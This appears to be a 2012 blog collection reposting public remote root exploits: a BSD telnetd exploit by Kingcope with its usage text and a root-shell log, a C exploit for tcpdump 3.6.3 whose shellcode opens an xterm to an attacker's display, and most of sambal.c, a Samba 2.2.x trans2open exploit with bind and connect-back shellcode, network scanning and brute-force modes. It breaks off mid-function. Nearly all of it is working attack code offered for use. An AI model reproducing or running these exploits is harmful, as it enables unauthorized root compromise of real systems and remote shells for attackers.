Posted by k1rha
2012. 7. 2. 23:02

http://www.exploit-db.com/exploits/19520/

This exploit was leaked on the Full Disclosure mailing list:
 
http://seclists.org/fulldisclosure/2012/Jun/404
 
 
BSD telnetd Remote Root Exploit *ZERODAY*
By Kingcope
Year 2011
 
usage: telnet [-4] [-6] [-8] [-E] [-K] [-L] [-N] [-S tos] [-X atype] [-c] [-d]
        [-e char] [-k realm] [-l user] [-f/-F] [-n tracefile] [-r] [-s
src_addr] [-u] [-P policy] [-y] <-t TARGET_NUMBER> [host-name
[port]]
TARGETS:
0 FreeBSD 8.2 i386
1 FreeBSD 8.0/8.1/8.2 i386
2 FreeBSD 7.3/7.4 i386
3 FreeBSD 6.2/6.3/6.4 i386
4 FreeBSD 5.3/5.5 i386
5 FreeBSD 4.9/4.11 i386
6 NetBSD 5.0/5.1 i386
7 NetBSD 4.0 i386
8 FreeBSD 8.2 amd64
9 FreeBSD 8.0/8.1 amd64
10 FreeBSD 7.1/7.3/7.4 amd64
11 FreeBSD 7.1 amd64
12 FreeBSD 7.0 amd64
13 FreeBSD 6.4 amd64
14 FreeBSD 6.3 amd64
15 FreeBSD 6.2 amd64
16 FreeBSD 6.1 amd64
17 TESTING i386
18 TESTING amd64
Trying 192.168.2.8...
Connected to 192.168.2.8.
Escape character is '^]'.
Trying SRA secure login:
*** EXPLOITING REMOTE TELNETD
*** by Kingcope
*** Year 2011
USING TARGET -- FreeBSD 8.2 amd64
SC LEN: 30
ALEX-ALEX
 6:36PM  up 5 mins, 1 user, load averages: 0.01, 0.15, 0.09
USER             TTY      FROM              LOGIN@  IDLE WHAT
kcope            pts/0    192.168.2.3       6:32PM     4 _su (csh)
FreeBSD h4x.Belkin 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17
02:41:51 UTC 2011
root () mason cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  amd64
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)


Exploit:  http://www.exploit-db.com/sploits/19520.zip
익스플로잇 다운 로드 


Free BSD 환경에서만 적용 

Posted by k1rha
2012. 5. 11. 09:54

/*


 * TCPDUMP 3.6.3 remote root exploit 


 *


 * tested against FreeBSD-4.6


 *


 * By: icesk


 *


 * Greets: meenor, optik, scsiu, stanly


 * flames: ezoons (homo)


 */




#include <stdio.h>


#include <netinet/in.h>


#include <sys/types.h>


#include <sys/socket.h>


#include <netdb.h>


#include <arpa/inet.h>




#define ADDR0xbffff248


#define OFFSET 0


#define NUM_ADDR  10


#define NOP 0x90


#define NUM_NOP100




#define RX_CLIENT_INITIATED  1


#define RX_PACKET_TYPE_DATA  1


#define FS_RX_DPORT 7000


#define FS_RX_SPORT 7001


#define AFS_CALL 134




struct rx_header {


  u_int32_t epoch;


  u_int32_t cid;


  u_int32_t callNumber;


  u_int32_t seq;


  u_int32_t serial;


  u_char type;


  u_char flags;


  u_char userStatus;


  u_char securityIndex;


  u_short spare;


  u_short serviceId;


};




char shellcode[] = 


  "\xeb\x57\x5e\xb3\x21\xfe\xcb\x88\x5e\x2c\x88\x5e\x23"


  "\x88\x5e\x1f\x31\xdb\x88\x5e\x07\x46\x46\x88\x5e\x08"


  "\x4e\x4e\x88\x5e\xFF\x89\x5e\xfc\x89\x76\xf0\x8d\x5e"


  "\x08\x89\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x8d\x4e\xf0"


  "\x89\xf3\x8d\x56\xfc\x31\xc0\xb0\x0e\x48\x48\x48\xcd"


  "\x80\x31\xc0\x40\x31\xdb\xcd\x80\xAA\xAA\xAA\xAA\xBB"


  "\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xDD\xDD\xDD\xDD\xe8\xa4"


  "\xff\xff\xff"


  "/bin/shZ-cZ/usr/X11R6/bin/xtermZ-utZ-displayZ";




long resolve(char *name)


{


  struct hostent *hp;


  long ip;




  if ((ip=inet_addr(name))==-1) {


    if ((hp=gethostbyname(name))==NULL) {


      fprintf (stderr,"Can't resolve host name [%s].\n",name);


      exit(-1);


    }


    memcpy(&ip,(hp->h_addr),4);


  }


  return(ip);


}




int


main(int argc, char *argv[])


{


  struct sockaddr_in addr,sin;


  int sock,aux, offset=OFFSET;


  char buffer[4048], *chptr;


  struct rx_header *rxh;


  long int *lptr, return_addr=ADDR;




  fprintf(stderr, "Tcpdump 3.6.3 remote exploit against FreeBSD 4.6\n\n");




  if (argc<3) {


    printf("Usage: %s [host] [display] [offset]\n",argv[0]);


    exit(-1);


  }




  if (argc==4) offset=atoi(argv[3]);


  return_addr+=offset;




  fprintf(stderr,"Using return addr: %#x\n",return_addr);




  addr.sin_family=AF_INET;


  addr.sin_addr.s_addr=resolve(argv[1]);


  addr.sin_port=htons(FS_RX_DPORT);




  if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) {


    perror("socket()");


    exit(-1);


  }




  sin.sin_family=AF_INET;


  sin.sin_addr.s_addr=INADDR_ANY;


  sin.sin_port=htons(FS_RX_SPORT);




  if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {


    perror("bind()");


    exit(-1);


  }




  memset(buffer,0,sizeof(buffer));


  rxh=(struct rx_header *)buffer;




  rxh->type=RX_PACKET_TYPE_DATA;


  rxh->seq=htonl(1);


  rxh->flags=RX_CLIENT_INITIATED;




  lptr=(long int *)(buffer+sizeof(struct rx_header));


  *(lptr++)=htonl(AFS_CALL);


  *(lptr++)=htonl(1);


  *(lptr++)=htonl(2);


  *(lptr++)=htonl(3);




  *(lptr++)=htonl(420);


  chptr=(char *)lptr;


  sprintf(chptr,"1 0\n");


  chptr+=4;




  memset(chptr,'A',120);


  chptr+=120;


  lptr=(long int *)chptr;


  for (aux=0;aux<NUM_ADDR;aux++) *(lptr++)=return_addr;


  chptr=(char *)lptr;


  memset(chptr,NOP,NUM_NOP);


  chptr+=NUM_NOP;


  shellcode[30]=(char)(46+strlen(argv[2]));


  memcpy(chptr,shellcode,strlen(shellcode));


  chptr+=strlen(shellcode);


  memcpy(chptr,argv[2],strlen(argv[2]));


  chptr+=strlen(argv[2]);




  sprintf(chptr," 1\n");




  if (sendto(sock,buffer,520,0,&addr,sizeof(addr))==-1)


  {


    perror("send()");


    exit(-1);


  }




  fprintf(stderr,"Packet Sent Waiting For Xterm!!!\n\n");




  close(sock);


  return(0);


}




Posted by k1rha
2012. 5. 11. 09:53

/*           _ ________            _____                        ______

    __ ___ ____       /____.------`    /_______.------.___.----`  ___/____ _______

         _/    \ _   /\   __.  __//   ___/_    ___.  /_\    /_    |     _/

   ___ ._\    . \\  /__  _____/ _    /     \_  |    /__      |   _| slc | _____ _

      - -------\______||--._____\---._______//-|__    //-.___|----._____||

      / \   /

                                                   \/

[*] samba-2.2.8 < remote root exploit                 by eSDee (www.netric.org|be)

    ------------------------------------------------------------------------------


    sambal.c is a remote root exploit for samba 2.2.x and prior that works against 

    Linux (all distros), FreeBSD (4.x, 5.x), NetBSD (1.x) and OpenBSD (2.x, 3.x 

    and 3.2-non exec stack). It has a scan option, so you can easily identify your 

    lost samba boxes on your home WAN...


    It began with the creation of the great buffer.

    Four bytes were written to it to mark the beginning of it.

    Seven bytes were written to store all information.

    And nine, nine bytes were written to the end to assure a long enough buffer.

    For within this buffer, it could harbor all required user input.

    But they were all deceived, for another byte was written.

    Inside the Memory, in the heart of the stack. The user input was long enough

    to write a master byte. To control the entire buffer, and into this byte, the user

    poured his cruelty, his malice and his will to dominate it all!


    One byte to rule them all.... 


    Copyright (c) 2003 Netric Security

    All rights reserved.


    THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED

    WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF

    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.



[*] The bug


    in /source/smbd/trans2.c on line 250 - function: call_trans2open() :


    namelen = strlen(pname)+1;

    StrnCpy(fname,pname,namelen); 




[*] MyFirstStachelNET(tm) - howto - 


    sambal.c is able to identify samba boxes. It will send a netbios

    name packet to port 137. If the box responds with the mac address

    00-00-00-00-00-00, it's probally running samba.

 

    [esdee@embrace esdee]$ ./sambal -d 0 -C 60 -S 192.168.0

    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

    --------------------------------------------------------------

    + Scan mode.

    + [192.168.0.3] Samba

    + [192.168.0.10] Windows

    + [192.168.0.20] Windows

    + [192.168.0.21] Samba

    + [192.168.0.30] Windows

    + [192.168.0.31] Samba

    + [192.168.0.33] Windows

    + [192.168.0.35] Windows

    + [192.168.0.36] Windows

    + [192.168.0.37] Windows

    ...

    + [192.168.0.133] Samba


    Great!

    You could now try a preset (-t0 for a list), but most of the 

    time bruteforce will do. The smbd spawns a new process on every 

    connect, so we can bruteforce the return address...


    [esdee@embrace esdee]$ ./sambal -b 0 -v 192.168.0.133

    samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)

    --------------------------------------------------------------

    + Verbose mode.

    + Bruteforce mode. (Linux)

    + Using ret: [0xbffffed4]

    + Using ret: [0xbffffda8]

    + Using ret: [0xbffffc7c]

    + Using ret: [0xbffffb50]

    + Using ret: [0xbffffa24]

    + Using ret: [0xbffff8f8]

    + Using ret: [0xbffff7cc]

    + Worked!

    --------------------------------------------------------------

    *** JE MOET JE MUIL HOUWE

    Linux LittleLinux.selwerd.lan 2.4.18-14 #1 Wed Sep 4 11:57:57 EDT 2002 i586 i586 i386 GNU/Linux

    uid=0(root) gid=0(root) groups=99(nobody)



[*] Credits


    lynx, mike, sacrine, the_itch, tozz (for adding targets) 

    no1 (i ripped some parts from a subnet scanner) 



*/

  

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <netdb.h>

#include <errno.h>

#include <fcntl.h>

#include <signal.h>

#include <string.h>

#include <unistd.h>

#include <sys/select.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/wait.h>

#include <netinet/in.h>

#include <arpa/inet.h>


typedef struct {

unsigned char type;

unsigned char flags;

unsigned short length;

} NETBIOS_HEADER;


typedef struct {

unsigned char protocol[4];

unsigned char command;

unsigned short status;

unsigned char reserved;

unsigned char  flags;

unsigned short flags2;

unsigned char  pad[12];

unsigned short tid;

unsigned short pid;

unsigned short uid;

unsigned short mid;

} SMB_HEADER;

int OWNED = 0;

pid_t childs[100];

struct sockaddr_in addr1;

struct sockaddr_in addr2;


char

linux_bindcode[] =

        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"

        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc1\x31\xc0\x31\xdb\x50\x50"

        "\x50\x66\x68\xb0\xef\xb3\x02\x66\x53\x89\xe2\xb3\x10\x53\xb3\x02"

        "\x52\x51\x89\xca\x89\xe1\xb0\x66\xcd\x80\x31\xdb\x39\xc3\x74\x05"

        "\x31\xc0\x40\xcd\x80\x31\xc0\x50\x52\x89\xe1\xb3\x04\xb0\x66\xcd"

        "\x80\x89\xd7\x31\xc0\x31\xdb\x31\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"

        "\x80\x31\xc0\x31\xdb\x50\x50\x57\x89\xe1\xb3\x05\xb0\x66\xcd\x80"

        "\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80\x39\xc3\x75\x40\x31\xc0"

        "\x89\xfb\xb0\x06\xcd\x80\x31\xc0\x31\xc9\x89\xf3\xb0\x3f\xcd\x80"

        "\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0\x41\xb0\x3f\xcd\x80\x31\xc0"

        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8b\x54\x24"

        "\x08\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x31\xc0"

        "\x89\xf3\xb0\x06\xcd\x80\xeb\x99";


char

bsd_bindcode[] =

"\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"

"\x61\xcd\x80\x89\xc7\x31\xc0\x50\x50\x50\x66\x68\xb0\xef\xb7\x02"

"\x66\x53\x89\xe1\x31\xdb\xb3\x10\x53\x51\x57\x50\xb0\x68\xcd\x80"

"\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x50\x57"

"\x50\xb0\x6a\xcd\x80\x31\xc0\x31\xdb\x50\x89\xe1\xb3\x01\x53\x89"

"\xe2\x50\x51\x52\xb3\x14\x53\x50\xb0\x2e\xcd\x80\x31\xc0\x50\x50"

"\x57\x50\xb0\x1e\xcd\x80\x89\xc6\x31\xc0\x31\xdb\xb0\x02\xcd\x80"

"\x39\xc3\x75\x44\x31\xc0\x57\x50\xb0\x06\xcd\x80\x31\xc0\x50\x56"

"\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x56\x50\xb0\x5a\xcd"

"\x80\x31\xc0\x43\x53\x56\x50\xb0\x5a\xcd\x80\x31\xc0\x50\x68\x2f"

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b"

"\xcd\x80\x31\xc0\xb0\x01\xcd\x80\x31\xc0\x56\x50\xb0\x06\xcd\x80"

"\xeb\x9a";


char

linux_connect_back[] =

"\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02\x51"

"\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51"

"\x68\x41\x42\x43\x44\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3"

"\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1"

"\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"

"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"

"\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f"

"\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"

"\x01\xcd\x80"; 


char

bsd_connect_back[] =

        "\x31\xc0\x31\xdb\x53\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x54\xb0"

        "\x61\xcd\x80\x31\xd2\x52\x52\x68\x41\x41\x41\x41\x66\x68\xb0\xef"

        "\xb7\x02\x66\x53\x89\xe1\xb2\x10\x52\x51\x50\x52\x89\xc2\x31\xc0"

        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3\x74\x06\x31\xc0\xb0\x01\xcd\x80"

        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd\x80\x31\xc0\x31\xdb\x43\x53\x52"

        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43\x53\x52\x50\xb0\x5a\xcd\x80\x31"

        "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54"

        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";




struct {

        char *type;

        unsigned long ret;

char *shellcode;

int os_type; /* 0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD non-exec stack */


} targets[] = {

{ "samba-2.2.x - Debian 3.0           ", 0xbffffea2, linux_bindcode, 0 },

{ "samba-2.2.x - Gentoo 1.4.x         ", 0xbfffe890, linux_bindcode,    0 },

{ "samba-2.2.x - Mandrake 8.x         ", 0xbffff6a0, linux_bindcode, 0 },

{ "samba-2.2.x - Mandrake 9.0         ", 0xbfffe638, linux_bindcode, 0 },

        { "samba-2.2.x - Redhat 9.0           ", 0xbffff7cc, linux_bindcode,    0 },

        { "samba-2.2.x - Redhat 8.0           ", 0xbffff2f0, linux_bindcode, 0 },

{ "samba-2.2.x - Redhat 7.x           ", 0xbffff310, linux_bindcode, 0 },

{ "samba-2.2.x - Redhat 6.x           ", 0xbffff2f0, linux_bindcode, 0 },

{ "samba-2.2.x - Slackware 9.0        ", 0xbffff574, linux_bindcode, 0 },

{ "samba-2.2.x - Slackware 8.x        ", 0xbffff574, linux_bindcode,    0 },

{ "samba-2.2.x - SuSE 7.x             ", 0xbffffbe6, linux_bindcode,   0 }, 

{ "samba-2.2.x - SuSE 8.x             ", 0xbffff8f8, linux_bindcode,    0 },

{ "samba-2.2.x - FreeBSD 5.0          ", 0xbfbff374, bsd_bindcode,     1 },

{ "samba-2.2.x - FreeBSD 4.x          ", 0xbfbff374, bsd_bindcode, 1 },

{ "samba-2.2.x - NetBSD 1.6           ", 0xbfbfd5d0, bsd_bindcode, 1 },

{ "samba-2.2.x - NetBSD 1.5           ", 0xbfbfd520, bsd_bindcode,      1 },

{ "samba-2.2.x - OpenBSD 3.2          ", 0x00159198, bsd_bindcode, 2 },

{ "samba-2.2.8 - OpenBSD 3.2 (package)", 0x001dd258, bsd_bindcode,      2 },

{ "samba-2.2.7 - OpenBSD 3.2 (package)", 0x001d9230, bsd_bindcode,      2 },

{ "samba-2.2.5 - OpenBSD 3.2 (package)", 0x001d6170, bsd_bindcode,      2 },

        { "Crash (All platforms)              ", 0xbade5dee, linux_bindcode, 0 },

};


void shell();

void usage();

void handler();


int is_samba(char *ip, unsigned long time_out);

int Connect(int fd, char *ip, unsigned int port, unsigned int time_out);

int read_timer(int fd, unsigned int time_out);

int write_timer(int fd, unsigned int time_out);

int start_session(int sock);

int exploit_normal(int sock, unsigned long ret, char *shellcode);

int exploit_openbsd32(int sock, unsigned long ret, char *shellcode);


void 

usage(char *prog)

{

        fprintf(stderr, "Usage: %s [-bBcCdfprsStv] [host]\n\n"

        "-b <platform>   bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)\n"

"-B <step>       bruteforce steps (default = 300)\n"

"-c <ip address> connectback ip address\n"

"-C <max childs> max childs for scan/bruteforce mode (default = 40)\n"

"-d <delay>      bruteforce/scanmode delay in micro seconds (default = 100000)\n"

"-f              force\n" 

        "-p <port>       port to attack (default = 139)\n"

"-r <ret>        return address\n"

"-s              scan mode (random)\n"

"-S <network>    scan mode\n"

"-t <type>       presets (0 for a list)\n" 

"-v              verbose mode\n\n", prog);

        

        exit(1);

}


int

is_samba(char *ip, unsigned long time_out)

{

char

nbtname[]= /* netbios name packet */

{

        0x80,0xf0,0x00,0x10,0x00,0x01,0x00,0x00,

        0x00,0x00,0x00,0x00,0x20,0x43,0x4b,0x41,

        0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

        0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

        0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,

        0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,

        0x00,0x01

};


        unsigned char recv_buf[1024];

unsigned char *ptr;


int i = 0;

int s = 0;


unsigned int total = 0;


        if ((s = socket(PF_INET, SOCK_DGRAM, 17)) <= 0) return -1;


if(Connect(s, ip, 137, time_out) == -1) {

close(s);

return -1;

memset(recv_buf, 0x00, sizeof(recv_buf));


if(write_timer(s, time_out) == 1) {

if (write(s, nbtname, sizeof(nbtname)) <= 0) {

  close(s);

return -1;

}

}


if (read_timer(s, time_out) == 1) {

if (read(s, recv_buf, sizeof(recv_buf)) <= 0) {

close(s);

return -1;

}


        ptr = recv_buf + 57;

  total = *(ptr - 1); /* max names */

        while(ptr < recv_buf + sizeof(recv_buf)) {

              ptr += 18;

if (i == total) {


ptr -= 19;


if ( *(ptr + 1) == 0x00 && *(ptr + 2) == 0x00 && *(ptr + 3) == 0x00 &&

              *(ptr + 4) == 0x00 && *(ptr + 5) == 0x00 && *(ptr + 6) == 0x00) {

close(s);

return 0;

}


close(s);

return 1;

}


i++;

}


}

close(s);

return -1;

}


int 

Connect(int fd, char *ip, unsigned int port, unsigned int time_out) 

{

/* ripped from no1 */


int                      flags;

int                      select_status;

fd_set                   connect_read, connect_write;

struct timeval           timeout;

int                      getsockopt_length = 0;

int                      getsockopt_error = 0;

struct sockaddr_in       server;

bzero(&server, sizeof(server));

server.sin_family = AF_INET;

inet_pton(AF_INET, ip, &server.sin_addr);

server.sin_port = htons(port);


if((flags = fcntl(fd, F_GETFL, 0)) < 0) {

close(fd);

    return -1;

  }

  

if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {

close(fd);

    return -1;

  }

 

timeout.tv_sec = time_out;

timeout.tv_usec = 0;

FD_ZERO(&connect_read);

FD_ZERO(&connect_write);

FD_SET(fd, &connect_read);

FD_SET(fd, &connect_write);


if((connect(fd, (struct sockaddr *) &server, sizeof(server))) < 0) {

if(errno != EINPROGRESS) {

      close(fd);

      return -1;

    }

  }

else {

if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

      return -1;

    }

   

return 1;


}


select_status = select(fd + 1, &connect_read, &connect_write, NULL, &timeout);


if(select_status == 0) {

close(fd);

return -1;


}


if(select_status == -1) {

close(fd);

return -1;

}


if(FD_ISSET(fd, &connect_read) || FD_ISSET(fd, &connect_write)) {

if(FD_ISSET(fd, &connect_read) && FD_ISSET(fd, &connect_write)) {

getsockopt_length = sizeof(getsockopt_error);


if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &getsockopt_error, &getsockopt_length) < 0) {

errno = ETIMEDOUT;

close(fd);

return -1;

}


if(getsockopt_error == 0) {

if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

return -1;

}

return 1;

       } 


else {

errno = getsockopt_error;

close(fd);

return (-1);

}


}

}

else {

close(fd);

return 1;

}


if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

return -1;

}

return 1;

}


int 

read_timer(int fd, unsigned int time_out)

{


/* ripped from no1 */


int                      flags;

int                      select_status;

fd_set                   fdread;

struct timeval           timeout;


if((flags = fcntl(fd, F_GETFL, 0)) < 0) {

close(fd);

return (-1);

}


if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {

close(fd);

return (-1);

}


timeout.tv_sec = time_out;

timeout.tv_usec = 0;

FD_ZERO(&fdread);

FD_SET(fd, &fdread);

select_status = select(fd + 1, &fdread, NULL, NULL, &timeout);


if(select_status == 0) {

close(fd);

return (-1);

}


if(select_status == -1) {

close(fd);

return (-1);

}

  

if(FD_ISSET(fd, &fdread)) {

  

  if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

      return -1;

    }

   

return 1;

else {

close(fd);

return 1;


}

}


int

write_timer(int fd, unsigned int time_out)

{


/* ripped from no1 */


int                      flags;

int                      select_status;

fd_set                   fdwrite;

struct timeval           timeout;


if((flags = fcntl(fd, F_GETFL, 0)) < 0) {    

close(fd);

return (-1);

}

if(fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) {

close(fd);

return (-1);

  }

 

timeout.tv_sec = time_out;

timeout.tv_usec = 0;

FD_ZERO(&fdwrite);

FD_SET(fd, &fdwrite);


select_status = select(fd + 1, NULL, &fdwrite, NULL, &timeout);


if(select_status == 0) {

close(fd);

return -1;

}

if(select_status == -1) {

close(fd);

return -1;

}


if(FD_ISSET(fd, &fdwrite)) {

if(fcntl(fd, F_SETFL, flags) < 0) {

close(fd);

return -1;

}

return 1;

}

else { 

close(fd);

return -1;

}

}



void 

shell(int sock)

{

        fd_set  fd_read;

        char buff[1024], *cmd="unset HISTFILE; echo \"*** JE MOET JE MUIL HOUWE\";uname -a;id;\n";

        int n;


        FD_ZERO(&fd_read);

        FD_SET(sock, &fd_read);

        FD_SET(0, &fd_read);


        send(sock, cmd, strlen(cmd), 0);


        while(1) {

                FD_SET(sock,&fd_read);

                FD_SET(0,&fd_read);


                if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;


                if (FD_ISSET(sock, &fd_read)) {


                        if((n = recv(sock, buff, sizeof(buff), 0)) < 0){

                                fprintf(stderr, "EOF\n");

                                exit(2);

                        }


                        if (write(1, buff, n) < 0) break;

                }


                if (FD_ISSET(0, &fd_read)) {


                        if((n = read(0, buff, sizeof(buff))) < 0){

                                fprintf(stderr, "EOF\n");

                                exit(2);

                        }


                        if (send(sock, buff, n, 0) < 0) break;

                }


                usleep(10);

        }


        fprintf(stderr, "Connection lost.\n\n");

        exit(0);

}


void

handler()

{

int sock = 0;

int i = 0;

OWNED = 1;


        for (i = 0; i < 100; i++)

                if (childs[i] != 0xffffffff) waitpid(childs[i], NULL, 0);


        if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

                close(sock);

exit(1);

        }


        if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {

                fprintf(stdout, "+ Worked!\n"

                                "--------------------------------------------------------------\n");

                shell(sock);

                close(sock);

        }



}


int 

start_session(int sock)

{

char buffer[1000];

char response[4096];

char session_data1[] = "\x00\xff\x00\x00\x00\x00\x20\x02\x00\x01\x00\x00\x00\x00";

        char session_data2[] = "\x00\x00\x00\x00\x5c\x5c\x69\x70\x63\x24\x25\x6e\x6f\x62\x6f\x64\x79"

                 "\x00\x00\x00\x00\x00\x00\x00\x49\x50\x43\x24";

        NETBIOS_HEADER  *netbiosheader;

        SMB_HEADER      *smbheader;


memset(buffer, 0x00, sizeof(buffer));


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        netbiosheader->type = 0x00;         /* session message */

        netbiosheader->flags = 0x00;

        netbiosheader->length = htons(0x2E);


        smbheader->protocol[0] = 0xFF;

        smbheader->protocol[1] = 'S';

        smbheader->protocol[2] = 'M';

        smbheader->protocol[3] = 'B';

        smbheader->command = 0x73;         /* session setup */

        smbheader->flags = 0x08;         /* caseless pathnames */

        smbheader->flags2 = 0x01;         /* long filenames supported */

        smbheader->pid = getpid() & 0xFFFF;

smbheader->uid          = 100;

        smbheader->mid = 0x01;


        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data1, sizeof(session_data1) - 1);


if(write_timer(sock, 3) == 1)

if (send(sock, buffer, 50, 0) < 0) return -1;


memset(response, 0x00, sizeof(response));


if (read_timer(sock, 3) == 1)

if (read(sock, response, sizeof(response) - 1) < 0) return -1;

        netbiosheader = (NETBIOS_HEADER *)response;

        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));


if (netbiosheader->type != 0x00) fprintf(stderr, "+ Recieved a non session message\n");


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        memset(buffer, 0x00, sizeof(buffer));


        netbiosheader->type     = 0x00;         /* session message */

        netbiosheader->flags    = 0x00;

        netbiosheader->length   = htons(0x3C);


        smbheader->protocol[0]  = 0xFF;

        smbheader->protocol[1]  = 'S';

        smbheader->protocol[2]  = 'M';

        smbheader->protocol[3]  = 'B';

        smbheader->command      = 0x70;         /* start connection */

smbheader->pid          = getpid() & 0xFFFF;

smbheader->tid = 0x00;

        smbheader->uid          = 100;


memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);


        if(write_timer(sock, 3) == 1)

                if (send(sock, buffer, 64, 0) < 0) return -1;


        memset(response, 0x00, sizeof(response));


        if (read_timer(sock, 3) == 1)

                if (read(sock, response, sizeof(response) - 1) < 0) return -1;


        netbiosheader = (NETBIOS_HEADER *)response;

        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));


        if (netbiosheader->type != 0x00) return -1;


        return 0;

}


int

exploit_normal(int sock, unsigned long ret, char *shellcode)

{


char buffer[4000];

        char exploit_data[] =

                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" 

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\x00\x00\x90";


int i = 0;

unsigned long dummy = ret - 0x90;


        NETBIOS_HEADER  *netbiosheader;

        SMB_HEADER      *smbheader;


memset(buffer, 0x00, sizeof(buffer));


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        netbiosheader->type             = 0x00;         /* session message */

        netbiosheader->flags            = 0x04;

        netbiosheader->length           = htons(2096);


        smbheader->protocol[0]          = 0xFF;

        smbheader->protocol[1]          = 'S';

        smbheader->protocol[2]          = 'M';

        smbheader->protocol[3]          = 'B';

        smbheader->command              = 0x32;         /* SMBtrans2 */

smbheader->tid = 0x01;

        smbheader->uid                  = 100;


memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);


buffer[1096] = 0xEB;

buffer[1097] = 0x70;


for (i = 0; i < 4 * 24; i += 8) {

memcpy(buffer + 1099 + i, &dummy, 4);

memcpy(buffer + 1103 + i, &ret,   4);

}


        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 

exploit_data, sizeof(exploit_data) - 1);

memcpy(buffer + 1800, shellcode, strlen(shellcode));


if(write_timer(sock, 3) == 1) {

if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;

return 0;

}


return -1;

}


int

exploit_openbsd32(int sock, unsigned long ret, char *shellcode)

{

        char buffer[4000];


        char exploit_data[] =

                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

